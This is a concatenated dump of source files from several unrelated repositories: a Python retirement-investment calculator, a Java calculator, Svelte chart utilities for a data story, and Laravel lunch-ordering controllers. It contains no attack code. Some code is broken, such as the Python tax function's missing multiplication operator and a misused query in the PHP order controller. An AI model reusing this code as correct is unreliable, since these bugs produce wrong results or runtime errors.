self.min_living_cost = min_living_cost / 12 # monthly
self.filing_status = filing_status
def calc_takehome(self,
brackets = [0.1, 0.12, 0.22, 0.24, 0.32, 0.35, 0.37], \
single = [9875, 40125, 85525, 163300, 207350, 518400], \
mar_joint = [19750, 80250, 171050, 326600, 414700, 622050], \
mar_sep = [9875, 40125, 85525, 163300, 207350, 311026], \
headoh = [14100, 53700, 85500, 163300, 207350, 518400]
):
"""
Constructs tax bracket table, sorts person into correct tax bracket, and monthly takehome after tax
Args:
brackets (list of floats) current tax bracket percentages
single (list of floats) current single upper income thresholds for tax bracket
mar_joint (list of floats) current married, filing jointly upper income thresholds for tax bracket
mar_sep (list of floats) current married, filing separately upper income thresholds for tax bracket
headoh (list of floats) current head of household upper income thresholds for tax bracket
Returns:
monthly net income after tax is withdrawn
"""
### updated with tax withholdings for 2021
### TODO: UPDATE AFTER TAX CALCULATIONS WITH MARGINAL TAX RATES************************
filing_dict = {'single':single, 'mfj':mar_joint, 'mfs':mar_sep, 'hoh':headoh}
filing = filing_dict[self.filing_status]
tax_running_sum = 0
last_bracket = 0
for i in range(len(filing)):
if self.income <= filing[0]:
return self.income (1.0 - brackets[0]) / 12
elif self.income > filing[i]:
if i < len(filing)-1:
tax_running_sum += (filing[i] - last_bracket) * brackets[i]
last_bracket = filing[i]
else:
tax_running_sum += (filing[i] - last_bracket) * brackets[i]
total_taxed = (self.income - filing[i]) * brackets[i + 1] + tax_running_sum
income_total = self.income - total_taxed
return income_total / 12
else:
total_taxed = (self.income - filing[i - 1]) * brackets[i] + tax_running_sum
income_total = self.income - total_taxed
return income_total / 12
def calc_discretionary_income(self, total_expenses, takehome, invest_dividends, pct_reinvest):
"""
Takes into account expenses and income after tax to calculate discretionary income
- to be used for further calculation of spending/investment
Args:
total_expenses (float) value sum of all expenses of user
takehome (float) net income after tax
pct_reinvest (float) decimal percent of monthly takehome to reinvest each month
invest_dividents (float) expected dividend yield from current investments
Returns:
for_user_money (float): user spendable monthly income
to_invest (float): amount of takehome to be invested
"""
if total_expenses >= self.min_living_cost:
print("Your expenses outstrip your desired living income. Consider reevaluating your priorities and your plan for places to cut down to make room for investment.")
exit()
else:
for_user_money = self.min_living_cost - total_expenses
for_user_money += invest_dividends * (1.0 - pct_reinvest) # add diff of pct divident funds chosen by user to discretionary spending
to_invest = takehome - self.min_living_cost
to_invest += invest_dividends * pct_reinvest # add pct of dividend funds chosen by user to reinvestment
return for_user_money, to_invest
<file_sep>import pandas as pd
import numpy as np
# from .Expense import Expense
def build_expense_table():
"""
Constructs a table of expensess
Args:
None
Returns:
Dataframe with expense data
"""
expenses = {'name':[], 'monthly_total':[]}
new_entry = True
while new_entry is True:
expense = input("Please enter an expense name, and total spent on it per month on average, separated by a comma and space: ").split(', ')
### NEED regex to ensure comma format
if expense[0] in expenses.keys():
print("That expense has already been entered.")
else:
expenses['name'].append(expense[0])
expenses['monthly_total'].append(float(expense[1]))
i = 0
while i < 1:
another = input("Add another expense? (answer Y or N): ").lower()
if another == 'n':
new_entry = False
i += 1
elif another == 'y':
i += 1
else:
print("Invalid entry - please type either Y or N")
return pd.DataFrame(expenses)
<file_sep>import pandas as pd
import numpy as np
from build_tables import build_expense_table
from Investment import Investment_Snapshot
def calc_invest(
annual_taxable_income,
current_investments,
expected_pct_dividends,
min_living_cost,
filing_status,
pct_reinvest,
months_remaining=0,
expense_table=None
):
"""
Takes basic income and tax filing information from user to generate a financial portfolio with modifiable variables and projections until retirement
Args:
annual_taxable_income (float): total pre-tax income as entered in tax filing
current_investments (float): total current investments
expected_pct_dividends (float): average annual return on investments as a float (i.e. - 0.05 = 5%)
min_living_cost (float): minimum acceptable living cost user is willing to accept - used for calculations of reinvestment income distribution
['single', 'mfj', 'mfs', 'hoh'] - mfj = married, filing jointly, mfs = married, filing separately, hoh = head of household
filing_status (string): tax filing status - used to calculate after-tax income
pct_reinvest (float): float percentage of dividend payments to automatically reinvest
months_remaining (int): months until retirement. If empty, user is prompted to input data to generate retirement data
expense_table (pandas DF): table with 2 attributes - expense name and monthly cost. Can pass in df from external .csv or other file
Returns:
Dataframe with monthly investment totals and personal spending totals from present until desired retirement age
"""
print("This is intended to maximize your investment portfolio along with quality of life, and focuses more on your future than your present. Sacrifice in the short term will yield comfort in the long term. \n")
# finance_base = input("Enter annual taxable income, current investment totals, expected pct dividends from investments(decimal), minimum net income you're able/willing to get by with, and tax filing status(single = single, mfj = married, filing jointly, mfs = married, filing separately, hoh = head of households): ").split(', ')
# print("Portfolio Started! Collecting more information...\n\n")
if months_remaining == 0:
months_remaining = time_till_retirement()
# annual_taxable_income, current_investments, expected_pct_dividends, min_living_cost, filing_status = \
# float(finance_base[0]), float(finance_base[1]), float(finance_base[2]), float(finance_base[3]), str(finance_base[4])
finances = Investment_Snapshot(annual_taxable_income, current_investments, expected_pct_dividends, min_living_cost, filing_status)
# dict of args to return so user can reinitialize calculations with different parameters
args_dict = dict(annual_taxable_income=annual_taxable_income,
current_investments=current_investments,
expected_pct_dividends=expected_pct_dividends,
min_living_cost=min_living_cost,
filing_status=filing_status,
pct_reinvest=pct_reinvest,
months_remaining=months_remaining
)
# create a table of expenses from user input
if expense_table is None:
expense_table = build_expense_table()
elif type(expense_table) is dict:
expense_table = pd.DataFrame(expense_table)
# calc total expenses per month
total_expenses = np.sum(expense_table[expense_table.columns[1]])
dividends = finances.current_investments * (finances.expected_pct_dividends / 12) # assumes monthly dividends
# uses investment_snapshot object to calculate after tax income/month
net_takehome = finances.calc_takehome()
# create list to store investment portfolio totals every month
investment_totals = []
discretionary_spending = []
for _ in range(months_remaining):
for_user_money, to_invest = finances.calc_discretionary_income(total_expenses,
net_takehome,
dividends,
pct_reinvest)
investment_totals.append(finances.current_investments)
discretionary_spending.append(for_user_money)
finances.current_investments += to_invest
dividends = finances.current_investments * (finances.expected_pct_dividends / 12) # assumes monthly dividends
data = pd.DataFrame({'investment':investment_totals, 'discretionary_income':discretionary_spending, 'expenses':[int(total_expenses) for _ in range(len(investment_totals))]})
data['investment'], data['discretionary_income'] = round(data['investment']).astype('int64'), round(data['discretionary_income']).astype('int64')
data['total_income'] = data.discretionary_income + data.expenses
data['year'] = [1 + (x // 12) for x in range(len(data))]
by_year_calc = data.groupby('year')[['total_income', 'discretionary_income']].sum
plot_yearly = by_year_calc()
plot_yearly['total_invested'] = data.groupby('year')['investment'].last()
return data, plot_yearly, args_dict, expense_table
# takes to dt objects and returns the months between the dates
def month_difference(a, b):
"""
Calculates difference in months between two datetime objects
Args:
a (pandas datetime object) latest datetime object
b (pandas datetime object) earliest datetime object
Returns:
integer value of months between two dates
"""
return 12 * (a.year - b.year) + (a.month - b.month)
def time_till_retirement():
bday = pd.to_datetime(input("Type in your birthday (MM/DD/YYYY): ")).date()
today = pd.datetime.now().date()
age = today.year - bday.year if bday.month < today.month else today.year - bday.year - 1
retirement = int(input("How old would you like to be when you retire: "))
retire_date = pd.to_datetime(f"{today.month}, {today.day}, {(retirement - age) + today.year}").date()
months_remaining = month_difference(retire_date, today)
return months_remaining
def update(Args, new_values, args_dict):
"""
Input list of arguments to modify and list of new values to replace old parameters
NOTE: length of [Args] and [new_values] MUST be equal
Args:
Args (list of strings): list of names of arguments to modify
new_values (list): list of values to modify strings
args_dict (dict): hash table with parameters and values used for calculation
Returns:
updated dictionary of parameters for new investment calculation
"""
for i in range(len(Args)):
args_dict[Args[i]] = new_values[i]
return args_dict
if __name__ == '__main__':
calc_invest(300000.0, 0, 0.05, 30000, 'mfj', 0.8, 576)<file_sep>import pandas as pd
from calc_invest import *
data = calc_invest()<file_sep>class Expense:
# Might need overhaul
def __init__(self, name, monthly_total):
"""
Parent class of both fixed and interest-based expenses to be used for total earning and investment calculations
Attributes:
name (str)
monthly_total (float) represents total amount of expense per month
"""
# potential att: has_interest (bool) does expense have interest, or is it a fixed expense
# self.has_interest = has_interest
self.name = name
self.monthly_total = monthly_total
<file_sep># Investment Portfolio Calculator
_Purpose_: This python package creates a life snapshot of an individual or family and returns projections of their
investment portfolio up till and beyond retirement (of their choice) and implement my personal model for distributing
investment funds, dividends, and personal spending funds that could provide someone working in a corporate environment
a roadmap to retiring comfortably.
## Functionalities
1. Take a table of expenses with names, frequency of purchase, and whether or not payments have interest
associated, and generate monthly impact totals against their income
a. If no table is provided, user is prompted to enter data which will automatically form a table
2. Have users input their __before tax salary__ and __tax filing status__, __amount of current investments__,
__average expected % yield via dividends__ from all investments (very rough estimate), and __amount of dividends to reinvest
vs. apply to their discretionary income__. Calculations of after tax income and dividend reinvestment calculations take
place, factoring in expense totals to yield _visualizations of projected investment/discretionary spending totals_.
3. Adjust variables of investment portfolio and compare outcomes in graphical form to make decisions on how to coordinate
investment resources long-term.
### Eventual Additions:
_RETURN_ whether a desired retirement outcome is possible with their current situation, and if it is, what the minimum
necessary amount of investment is to maximize the money they could spend on themselves in attaining proper retirement savings.
## __Limitations__
* Relies on relatively accurate accounting of expenses by the user.
* Does not accounts for average wage increases and inflation averages
* Assumes the same income for the duration of calculation.
* Assumes a relatively stable economy - doesn't account for recessions, but an average over longer periods of time
## Instructions for Use:
_Jupyter Notebook_
This package is designed for jupyter notebooks because of the ease of visualization through that platform.
A jupyter notebook is provided in this repo with basic visualizations and a UI that allows the user to change
all parameters of the investment portfolio and run it again immediately to see the difference in outcomes.
|
ffc58ed1f24739591da4e2db24b92c366088bff8
|
[
"Markdown",
"Python"
] | 6
|
Python
|
DaringDane/Calc_Invest
|
5eb7fdc293fa75217fe8b3be21964f15661f23f2
|
ae90290ad11a5e6ff2cbc5731ed71dade2f4d539
|
refs/heads/main
|
<repo_name>PetuchovArtem/AQA_HW3<file_sep>/src/main/java/com/it_academy/practice/junit_basics/Main.java
package com.it_academy.practice.junit_basics;
import java.util.*;
public class Main {
public static void main(String[] args) {
System.out.println("Введите 2 числа, каждое на новой строке");
Scanner sc = new Scanner(System.in);
int n1 = Integer.parseInt(sc.next());
int n2 = Integer.parseInt(sc.next());
System.out.println("Введите строку чисел");
Scanner sc2 = new Scanner(System.in);
String stroka = sc2.nextLine();
int[] numArr = Arrays.stream(stroka.split(" ")).mapToInt(Integer::parseInt).toArray();
List<Integer> myArray = new ArrayList<Integer>(numArr.length);
for (int i : numArr) {
myArray.add(i);
}
Calculator calculator1 = new Calculator(n1, n2);
Calculator calculator = new Calculator(myArray);
System.out.println("Для двух чисел");
System.out.println("Plus result: " + calculator1.calculate('+'));
System.out.println("Minus result: " + calculator1.calculate('-'));
System.out.println("Division result: " + calculator1.calculate('/'));
System.out.println("Multiply result: " + calculator1.calculate('*'));
System.out.println("Exponentiation result: " + calculator1.calculate('^'));
System.out.println("Root result: " + calculator1.calculate('#'));
System.out.println("---------------");
System.out.println("---------------");
System.out.println("Для массива");
System.out.println("Plus result: " + calculator.calculateArray('+', myArray));
System.out.println("Minus result: " + calculator.calculateArray('-', myArray));
System.out.println("Division result: " + calculator.calculateArray('/', myArray));
System.out.println("Multiply result: " + calculator.calculateArray('*', myArray));
System.out.println("Exponentiation result: " + calculator.calculateArray('^', myArray));
System.out.println("Root result: " + calculator.calculateArray('#', myArray));
}
}
|
a378b7858d83615f554cdf9050b46c0bcaf06089
|
[
"Java"
] | 1
|
Java
|
PetuchovArtem/AQA_HW3
|
da2f91243aafab21b108a032cf9aaf16007ed48a
|
a94c5fce00b127c12a0dfc1dbc8f857db90e3f04
|
refs/heads/main
|
<repo_name>the-pudding/lenna<file_sep>/src/utils/bubbleChart.js
import _ from "lodash";
import raw from "$data/data.csv";
export const getYearRange = (step) => {
if (!step) return [];
if (step === 9) return [1972, 1990];
if (step === 10) return [1991, 2010];
if (step === 11) return [2011, 2021];
};
export const formatData = (startYear, endYear) => {
const filtered = raw.filter(
(d) => d.year && parseInt(d.year) >= startYear && parseInt(d.year) <= endYear
);
const groupNumbers = { ".com": 0, ".edu": 1, ".org": 2, other: 3 };
const result = filtered.reduce(
(acc, currentValue) => {
let group;
if (_.endsWith(currentValue.domain, ".com")) {
group = ".com";
} else if (_.endsWith(currentValue.domain, ".edu")) {
group = ".edu";
} else if (_.endsWith(currentValue.domain, ".org")) {
group = ".org";
} else {
group = "other";
}
const myGroup = acc.filter((d) => d.name === group)[0].children;
const myDomainEntry = myGroup.filter((d) => d.domain === currentValue.domain);
if (myDomainEntry.length > 0) {
return [
...acc.filter((d) => d.name !== group),
{
name: group,
children: [
...myGroup.filter((d) => d.domain !== currentValue.domain),
{
group: groupNumbers[group],
domain: currentValue.domain,
value: myDomainEntry[0].value + 1
}
]
}
];
}
return [
...acc.filter((d) => d.name !== group),
{
name: group,
children: [
...myGroup,
{ group: groupNumbers[group], domain: currentValue.domain, value: 1 }
]
}
];
},
[
{ name: ".com", children: [] },
{ name: ".edu", children: [] },
{ name: ".org", children: [] },
{ name: "other", children: [] }
]
);
return { name: "root", children: result };
};
<file_sep>/README.md
# Svelte Starter
This [starter template](https://github.com/the-pudding/svelte-starter) aims for fast and easy web development speficially for data-driven and visual stories. It is an opinionated template built on top of [SvelteKit](https://kit.svelte.dev/).
_Please Note: do not use or reproduce The Pudding logos or fonts without written permission._
_Prettier Formatting: Disable any text editor Prettier extensions to take advantage of the built-in rules._
#### Features
- [Feather Icons](https://github.com/feathericons/feather) for simple/easy svg icons
- [ArchieML](http://archieml.org/) for micro-CMS powered by Google Docs and Sheets
- [LayerCake](https://layercake.graphics/) enabled by default for chart making
- [Style Dictionary](https://amzn.github.io/style-dictionary/) for CSS/JS style parity
- Includes csv, json, and svg imports by default
- Static-hosted builds by default
## Quickstart
New school: just click the `Use this template` button above.
Old school:
```bash
npx degit the-pudding/svelte-starter my-project
```
Then in your local repo:
```bash
npm install
```
## Development
To start the dev server:
```bash
npm run dev
```
Modify content in `src` and `static/assets`.
## Deploy
```bash
npm run build
```
This generates a directory called `build` with the server-side rendered static-hostable app.
If deploying to github pages:
```bash
make github
```
## Style
There are a few stylesheets included by default in `src/styles`. Put anything global in `app.css`. For variable parity in both CSS and JS, modify files in the `properties` folder using the [Style Dictionary](https://amzn.github.io/style-dictionary/) API.
You can use SCSS or another CSS preprocessor by installing the module (eg. `node-sass`) and including the property in the svelte-preprocess in `svelte.config.cjs`.
## Google Docs and Sheets
- Create a Google Doc or Sheet
- Click `Share` button -> advanced -> Change... -> to "Anyone with this link"
- In the address bar, grab the ID - eg. ...com/document/d/**1IiA5a5iCjbjOYvZVgPcjGzMy5PyfCzpPF-LnQdCdFI0**/edit
- paste in the ID above into `google.config.cjs`, and set the filepath to where you want the file saved
- If you want to do a Google Sheet, be sure to include the `gid` value in the url as well
Running `npm run gdoc` at any point (even in new tab while server is running) will fetch the latest from all Docs and Sheets.
## Pre-loaded helpers
### Components
Located in `src/lib/components`.
- `Footer.svelte`: Pudding recirculation and social links.
- `Header.svelte`: Pudding logo.
### Helper Components
Located in `src/lib/components/helpers`.
- `Window.svelte`: A wrapper around svelte:window that automatically debounces resize and throttles scroll, storing `innerHeight`, `innerWidth`, and `scrollY` as global stores.
- `Icon.svelte`: Simple integration with Feather Icons.
- `Slider.svelte (and Slider.Slide.svelte)`: A slider widget, especially useful for swipe/slide stories.
- `Tap.svelte`: Edge-of-screen tapping library, designed to integrate with slider.
### Actions
Located in `src/lib/actions`.
- `inView.js`: detect when an element enters or exits the viewport.
- `css.js`: dynmically change the value of a CSS variable.
### Utils
Located in `src/lib/utils/`.
- `mapToArray.js`: Convenience function to convert maps (generated from d3 group and rollup) to iterable array of objects.
- `move.js`: transform translate function shorthand.
### Stores
These are located in `src/lib/stores`. You can put custom ones in `src/lib/stores/misc.js` or create unique files for more complex ones. To include them do this (replacing `name`):
```js
import name from "$stores/name.js";
```
- `mq`: returns an object of media queries booleans if they are enabled or not. You can modify them in the js file.
- `viewport`: returns an object `{ width, height }` of the viewport dimensions. It is debounced for performance.
- `scrollY`: returns an number window vertical scroll position. It is throttled using rAF for performance.
- `timer`: returns an object { timer, elapsed }. `timer` has 5 methods (start, stop, toggle, set, reset) and `elapsed` is a store that is the number of ms.
### Utils
`transformSvg.js`: this custom transition lets you apply an svg transform property with the in/out svelte transition. Parameters (with defaults):
```js
{
target: "", // string: transform properties [required]
delay: 0, // number: ms
duration: 250, // number: in ms
easing: linear, // function: svelte easing function
relative: false, // boolean: adds target onto pre-existing transform
opacity: false // boolean: to fade in/out as well
}
```
**Usage**
```svelte
<g out:transformSvg={{ target: "translate(50, 50)" }}>
```
## Notes
Any @html tags, e.g., `{@html user}` must be the child of a dom element so they can be properly hydrated.
<file_sep>/src/utils/barChart.js
import _ from "lodash";
import raw from "$data/data.csv";
import baseColors from "$data/variables.json";
export const barColors = {
".org": baseColors.base["blue-1"],
".edu": baseColors.base["red"],
".com": baseColors.base["orange-1"],
other: baseColors.base["orange-2"]
};
export const barChartData = () => {
const counts = raw
.filter((d) => d.year && d.year >= 1972)
.reduce((acc, currentValue) => {
const year = parseInt(currentValue.year);
const existing = acc.filter((d) => d.year === year);
if (existing.length) {
return [...acc.filter((d) => d.year !== year), { year, value: existing[0].value + 1 }];
}
return [...acc, { year, value: 1 }];
}, []);
const sorted = _.sortBy(counts, (d) => d.year);
return sorted;
};
export const showUntilYear = (step, showUntil) => {
const previous = showUntil;
let year;
if ((step < 5 && step >= 0) || step === undefined) year = 0;
else if (step === 5 || step === 6) year = 1972;
else if (step === 7 || step === 8) year = 1991;
else if (step === 9) year = 1995;
else if (step === 10) year = 2014;
else if (step === 11 || step === 12 || step === 13 || step === 14) year = 2019;
else if (step === 15) year = 2021;
else year = 2022;
return [year, previous];
};
const getDomain = (str) => {
if (_.endsWith(str, ".com")) {
return ".com";
} else if (_.endsWith(str, ".edu")) {
return ".edu";
} else if (_.endsWith(str, ".org")) {
return ".org";
}
return "other";
};
export const domainData = (step) => {
if (step < 16) return null;
const colors = raw
.filter((d) => d.year && d.year >= 1972)
.reduce((acc, currentValue) => {
const domain = getDomain(currentValue.domain);
const year = parseInt(currentValue.year);
const existing = acc.filter((d) => d.year === year);
if (existing.length) {
const myDomainCount = existing[0][domain];
if (myDomainCount) {
return [
...acc.filter((d) => d.year !== year),
{ ...existing[0], [domain]: myDomainCount + 1 }
];
}
return [...acc.filter((d) => d.year !== year), { ...existing[0], [domain]: 1 }];
}
return [...acc, { year, [domain]: 1 }];
}, []);
const sorted = _.sortBy(colors, (d) => d.year);
return sorted;
};
<file_sep>/src/utils/screenshots.js
import _ from "lodash";
import baseColors from "$data/variables.json";
export const colors = [
baseColors.base["orange-2"],
baseColors.base["orange-1"],
baseColors.base["red"],
baseColors.base["blue-1"],
baseColors.base["tan-1"]
];
export const getOrigins = (width, height) => {
const startX = width * 0.2;
const endX = width * 0.4;
const startY = height * 0.3;
const endY = height * 0.7;
const randomSpots = _.times(5, (d) => {
const pixelSize = 15;
const x = _.random(Math.floor(startX / pixelSize), Math.floor(endX / pixelSize));
const y = _.random(Math.floor(startY / pixelSize), Math.floor(endY / pixelSize));
return { x: x * pixelSize - 3.5, y: y * pixelSize - 2 };
});
return randomSpots;
};
export const getDestinations = (key, width, height, finalSize) => {
const type = key.split("-")[0];
const i = parseInt(key.split("-")[1]);
const widthAvailable = width * 0.7;
const imageSpace = finalSize / 2;
if (type === "memes" && i === 0) {
return [
{ x: widthAvailable / 5 - imageSpace + 50, y: height / 5 - imageSpace - 50 },
{ x: widthAvailable * (4 / 5) - imageSpace / 2, y: height / 5 - imageSpace },
{ x: widthAvailable / 2 - imageSpace / 2, y: height / 2 - imageSpace },
{ x: widthAvailable / 5 - imageSpace / 2, y: height * (4 / 5) - imageSpace },
{ x: widthAvailable * (4 / 5) - imageSpace / 2 + 50, y: height * (4 / 5) - imageSpace - 50 }
];
} else if (type === "memes") {
return [...new Array(5).keys()].map((d) => ({
x: _.random(0, width * 0.8 - finalSize),
y: _.random(0, height - finalSize)
}));
} else if (type === "lennas") {
return [
{ x: widthAvailable / 5 - imageSpace, y: height / 5 - imageSpace },
{ x: widthAvailable * (4 / 5) - imageSpace + 50, y: height / 5 - imageSpace - 50 },
{ x: widthAvailable / 2 - imageSpace, y: height / 2 - imageSpace },
{ x: widthAvailable / 5 - imageSpace + 50, y: height * (4 / 5) - imageSpace - 50 },
{ x: widthAvailable * (4 / 5) - imageSpace, y: height * (4 / 5) - imageSpace }
];
}
};
export const getLabels = (key) => {
if (key.includes("memes")) {
return [
"Grumpy cat",
"These are all cakes",
"Disaster girl",
"Bernie's mittens",
"Oregon Trail"
];
} else if (key === "lennas") {
return ["GitHub", "JS", "Homework assignment", "Stack Overflow", "Quora"];
}
};
<file_sep>/svelte.config.js
import fs from "fs";
import path from "path";
import adapterStatic from "@sveltejs/adapter-static";
import svg from "vite-plugin-svgstring";
import dsv from "@rollup/plugin-dsv";
import sveltePreprocess from "svelte-preprocess";
import autoprefixer from "autoprefixer";
const { pudding } = JSON.parse(fs.readFileSync("package.json", "utf8"));
const dev = process.env.NODE_ENV === "development";
const dir = pudding ? pudding.subdirectory : "";
const prefix = dir.startsWith("/") ? "" : "/";
const base = dev || !dir ? "" : `${prefix}${dir}`;
const preprocess = sveltePreprocess({
postcss: {
plugins: [autoprefixer]
}
});
const config = {
preprocess,
kit: {
adapter: adapterStatic(),
target: "#svelte",
vite: {
resolve: {
alias: {
$actions: path.resolve("./src/actions"),
$components: path.resolve("./src/components"),
$data: path.resolve("./src/data"),
$stores: path.resolve("./src/stores"),
$styles: path.resolve("./src/styles"),
$svg: path.resolve("./src/svg"),
$utils: path.resolve("./src/utils")
}
},
plugins: [dsv(), svg()]
},
paths: {
base
}
}
};
export default config;
<file_sep>/Makefile
PHONY: github pudding
github:
rm -rf docs
cp -r build docs
touch docs/.nojekyll
git add -A
git commit -m "update github pages"
git push
aws-sync:
aws s3 sync build s3://pudding.cool/2021/10/lenna --delete --cache-control 'max-age=31536000'
aws-cache:
aws cloudfront create-invalidation --distribution-id E13X38CRR4E04D --paths '/2021/10/lenna*'
pudding: aws-sync aws-cache<file_sep>/src/stores/misc.js
import { writable } from "svelte/store";
export const pixelSize = writable(0);
export const gridPixelSize = writable(0);
|
0c3bfeb2047d77536c09c283018c84e44db3dc54
|
[
"JavaScript",
"Makefile",
"Markdown"
] | 7
|
JavaScript
|
the-pudding/lenna
|
ee1b00d567d22baf4043bec5a591eca0e31b1fe8
|
e940e7a8eb71c6cca8093bfe327383a6d5f081b5
|
refs/heads/master
|
<file_sep><?php
namespace App\Http\Controllers;
use App\Order;
use App\User;
use Illuminate\Http\Request;
class EmployeeController extends Controller
{
/**
* Display a listing of the resource.
*
* @return \Illuminate\Http\Response
*/
public function index()
{
$employees = User::where('is_employee', 1)->get();
return view('backend.pages.employee.index',compact('employees'));
}
/**
* Show the form for creating a new resource.
*
* @return \Illuminate\Http\Response
*/
public function create()
{
//
}
/**
* Store a newly created resource in storage.
*
* @param \Illuminate\Http\Request $request
* @return \Illuminate\Http\Response
*/
public function store(Request $request)
{
//
}
/**
* Display the specified resource.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
public function show($id)
{
//
}
/**
* Show the form for editing the specified resource.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
public function edit($id)
{
//
}
/**
* Update the specified resource in storage.
*
* @param \Illuminate\Http\Request $request
* @param int $id
* @return \Illuminate\Http\Response
*/
public function update(Request $request, $id)
{
//
}
/**
* Remove the specified resource from storage.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
public function destroy($id)
{
//
}
public function employeeActivation($id)
{
$activationEmployee = User::find($id);
if ($activationEmployee->is_verified == '1') {
$activationEmployee->is_verified = '0';
$activationEmployee->update();
return "deactivated";
}
else{
$activationEmployee->is_verified = '1';
$activationEmployee->update();
return "activated";
// return true;
}
}
}
<file_sep><?php
namespace App;
use Illuminate\Database\Eloquent\Model;
class Food extends Model
{
protected $fillable = ['name', 'category','picture','is_today_item'
];
public function order()
{
return $this->hasMany(Order::class);
}
}
<file_sep><?php
namespace App\Http\Controllers;
use App\Food;
use App\Order;
use Illuminate\Http\Request;
class OrderController extends Controller
{
/**
* Display a listing of the resource.
*
* @return \Illuminate\Http\Response
*/
public function index()
{
//
}
/**
* Show the form for creating a new resource.
*
* @return \Illuminate\Http\Response
*/
public function create()
{
$total_food = Food::all();
$orders = Order::where(['is_completed'=>true,'user_id'=>auth()->user()->id])->get();
return view('backend.pages.order.advance',compact('total_food','orders'));
}
/**
* Store a newly created resource in storage.
*
* @param \Illuminate\Http\Request $request
* @return \Illuminate\Http\Response
*/
public function store(Request $request)
{
$foodName = Food::find($request->id)->first()->name;
$userId = $request->user()->id;
$order = Order::where(['food_name' => $foodName, 'user_id' => $userId])->first();
if (!$order) {
Order::create(['food_name' => $foodName, 'user_id' => $userId]);
return 'ordered';
}else{
Order::where(['food_name' => $foodName, 'user_id' => $userId])->delete();
return 'order canceled';
}
}
public function storeAdvanceOrder(Request $request)
{
// dd($request->all());
$foodName = Food::find($request->food_id)->name;
// dd($foodName);
$userId = $request->user()->id;
$order = Order::where(['food_name' => $foodName, 'user_id' => $userId])->first();
if (!$order) {
$order_food=Order::create(['food_name' => $foodName, 'user_id' => $userId,'is_advance'=>true]);
if ($order_food){
return back()->with('message', 'Order Succesfull');
}else{
return back()->with('message', 'Order UnSuccesfull');
}
}else{
return back()->with('message', 'Allready ordered');
}
}
/**
* Display the specified resource.
*
* @param \App\Order $order
* @return \Illuminate\Http\Response
*/
public function show(Order $order)
{
}
/**
* Show the form for editing the specified resource.
*
* @param \App\Order $order
* @return \Illuminate\Http\Response
*/
public function edit(Order $order)
{
//
}
/**
* Update the specified resource in storage.
*
* @param \Illuminate\Http\Request $request
* @param \App\Order $order
* @return \Illuminate\Http\Response
*/
public function update(Request $request, Order $order)
{
//
}
/**
* Remove the specified resource from storage.
*
* @param \App\Order $order
* @return \Illuminate\Http\Response
*/
public function destroy(Order $order)
{
//
}
}
<file_sep><?php
namespace App\Http\Controllers;
use App\Food;
use Carbon\Carbon;
use Illuminate\Http\Request;
class FoodController extends Controller
{
/**
* Display a listing of the resource.
*
* @return \Illuminate\Http\Response
*/
public function index()
{
$food = Food::all();
return view('backend.pages.food.index',compact('food'));
}
/**
* Show the form for creating a new resource.
*
* @return \Illuminate\Http\Response
*/
public function create()
{
return view('backend.pages.food.create');
}
/**
* Store a newly created resource in storage.
*
* @param \Illuminate\Http\Request $request
* @return \Illuminate\Http\Response
*/
public function store(Request $request)
{
$request->validate([
'name'=>'required',
'picture'=>'required',
]);
$imageName = time().'.'.request()->picture->getClientOriginalExtension();
request()->picture->move(public_path('images'), $imageName);
$input = $request->all();
$input['picture'] = $imageName;
// dd($input);
$food = Food::create($input);
if ($food) {
return redirect('food')->with('message','Food item is added');
}
}
/**
* Display the specified resource.
*
* @param \App\Food $food
* @return \Illuminate\Http\Response
*/
public function show(Food $food)
{
//
}
/**
* Show the form for editing the specified resource.
*
* @param \App\Food $food
* @return \Illuminate\Http\Response
*/
public function edit(Food $food)
{
//
}
/**
* Update the specified resource in storage.
*
* @param \Illuminate\Http\Request $request
* @param \App\Food $food
* @return \Illuminate\Http\Response
*/
public function update(Request $request, Food $food)
{
//
}
/**
* Remove the specified resource from storage.
*
* @param \App\Food $food
* @return \Illuminate\Http\Response
*/
public function destroy(Food $food)
{
//
}
public function makeTodayFood(Request $request)
{
$food = Food::find($request->id);
if ($food->is_today_item) {
$food->is_today_item = false;
$food->save();
return 'remove';
}else{
$food->is_today_item = true;
$food->save();
return 'made';
}
}
public function todayFood()
{
// $date = Carbon::now();
// dd($date);
$foods = Food::where('is_today_item',true)->get();
return view('backend.pages.food.today', compact('foods'));
}
}
<file_sep><?php
use Illuminate\Database\Seeder;
class AdminTableSeeder extends Seeder
{
/**
* Run the database seeds.
*
* @return void
*/
public function run()
{
\Illuminate\Support\Facades\DB::table('users')->insert([
'name'=>'LHMS',
'email'=>'<EMAIL>',
'password'=><PASSWORD>('<PASSWORD>'),
'phone_number'=>'9811990067',
'address'=>'kathmandu',
'is_admin'=>1,
'is_verified'=>1,
]);
}
}
<file_sep><?php
namespace App\Http\Controllers;
use App\Food;
use App\KitchenStaff;
use App\Order;
use App\User;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Session;
class KitchenStaffController extends Controller
{
/**
* Display a listing of the resource.
*
* @return \Illuminate\Http\Response
*/
public function index()
{
$kitchen_staff = User::where(['is_kitchen_staff'=> 1])->get();
return view('backend.pages.kitchen-staff.index',compact('kitchen_staff'));
}
/**
* Show the form for creating a new resource.
*
* @return \Illuminate\Http\Response
*/
public function create()
{
return view('backend.pages.kitchen-staff.add-kitchen-staff');
}
/**
* Store a newly created resource in storage.
*
* @param \Illuminate\Http\Request $request
* @return \Illuminate\Http\Response
*/
public function store(Request $request)
{
$request->validate([
'name'=>'required',
'email'=>'required|email|unique:users',
'password'=>'<PASSWORD>',
'confirmed_password' => '<PASSWORD>',
'phone_number' => 'required|numeric|digits:10',
'address'=>'required'
]);
$input = $request->all();
$input['is_kitchen_staff']=1;
$input['is_verified']=1;
$input['password']=<PASSWORD>($request-><PASSWORD>);
$user = User::create($input);
if ($user) {
return redirect('kitchen_staff')->with('message', 'new staff details has beeen created');
} else {
return back()->with('message','sorry,new staff details could not be created');
}
}
/**
* Display the specified resource.
*
* @param \App\KitchenStaff $kitchenStaff
* @return \Illuminate\Http\Response
*/
public function show($kitchenStaff)
{
$staff_details = User::where('is_kitchen_staff', 1)->orWhere('id', $kitchenStaff)->get()->first();
return view('backend.pages.kitchen-staff.details',compact('staff_details'));
}
/**
* Show the form for editing the specified resource.
*
* @param \App\KitchenStaff $kitchenStaff
* @return \Illuminate\Http\Response
*/
public function edit(KitchenStaff $kitchenStaff)
{
//
}
/**
* Update the specified resource in storage.
*
* @param \Illuminate\Http\Request $request
